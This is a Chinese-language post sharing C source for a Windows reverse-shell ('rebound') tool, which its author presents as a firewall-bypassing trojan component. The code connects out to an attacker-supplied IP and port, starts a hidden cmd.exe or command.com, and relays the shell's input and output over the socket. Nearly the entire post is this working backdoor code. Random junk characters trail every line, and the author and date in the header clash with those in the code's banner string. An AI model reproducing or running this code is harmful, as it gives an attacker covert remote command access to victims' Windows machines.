这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O:3DIT1#>
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/* ============================== v\?J$Hdd
Rebound port in Windows NT K~JXP5`(
By wind,2006/7 L=WB'*N
===============================*/ vswBK-w(Z
#include [v$NxmRu
#include #[{xEVf
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#pragma comment(lib,"wsock32.lib") bP ,_H
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void OutputShell(); $1$T2'C~+
SOCKET sClient; ;BMm47<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rCa2$#Z
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void main(int argc,char **argv) !%{s[eO\
{ ^U4|TR6mub
WSADATA stWsaData; Z6vm!#\
int nRet; h8lI#Gs
SOCKADDR_IN stSaiClient,stSaiServer; pe1 _E
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if(argc != 3) ~NtAr1
{ qxe%RYdA'j
printf("Useage:\n\rRebound DestIP DestPort\n"); 8^Ov.$rP
return; j,/t<@S>
} `F<[\@\d5
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WSAStartup(MAKEWORD(2,2),&stWsaData); T>;Kq;(9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JKsdPW<?
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stSaiClient.sin_family = AF_INET; +2+wNFU
stSaiClient.sin_port = htons(0); .4NQ2k1io
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rX<gcntv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M%NapK
{ @.fyOyOC
printf("Bind Socket Failed!\n"); XiB]I5(hcc
return; *t+E8)qL
} CxOBH89(
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stSaiServer.sin_family = AF_INET; 0w_2E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]'/ZSy,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~t~5ctJ@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H}$hk
{ E0i_sB~T
printf("Connect Error!"); ;|Ja|@82
return; zjrr*iw
} \#A=twp
OutputShell(); r2*'5jk_
} K{&b "Ba1
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void OutputShell() Qb|.;_
{ CXsi
char szBuff[1024]; &Tf R].
SECURITY_ATTRIBUTES stSecurityAttributes; S}hg*mWn{$
OSVERSIONINFO stOsversionInfo; nd]AvVS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]cv|A^
STARTUPINFO stStartupInfo; 0+\~^
char *szShell; ewn/@;E
PROCESS_INFORMATION stProcessInformation; |UO1v A@
unsigned long lBytesRead; 2.K"+%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jnoFNIW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [i '\d}
stSecurityAttributes.lpSecurityDescriptor = 0; DvuL1MeKo
stSecurityAttributes.bInheritHandle = TRUE; Z0~}'K
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Lu~e^Ul
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GZN@MK*co
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )pVxp]EI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iK"j@1|
stStartupInfo.wShowWindow = SW_HIDE; A/U tf0{3"
stStartupInfo.hStdInput = hReadPipe; n]B)\D+V^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N[$(y}
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T_}\
GetVersionEx(&stOsversionInfo); vR?L/G^.
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switch(stOsversionInfo.dwPlatformId) XKsG2>l-W
{ V#TA%>
case 1: ]'aGoR
szShell = "command.com"; -BV&u(
break; g(:y_EpmLH
default: /Ki :6
szShell = "cmd.exe"; N[}XLhbt
break; z^4\?R50yO
} _W:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \~
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send(sClient,szMsg,77,0); b>%I=H%g
while(1) ^3`98y.Q
{ `.dTkL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^}8_tZs8\
if(lBytesRead) rr4yJ;qpeP
{ p Nu13o~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %a/O7s 6
send(sClient,szBuff,lBytesRead,0); 0zpP$q$
} ,Z%!38gGsu
else [,5clR=F
{ 9wKz p
lBytesRead=recv(sClient,szBuff,1024,0); _<.R \rX&
if(lBytesRead<=0) break; q<JI!n1O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _>5BFQ_
} gWS49*O
} zck)D^,aO
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return; [jumq1
}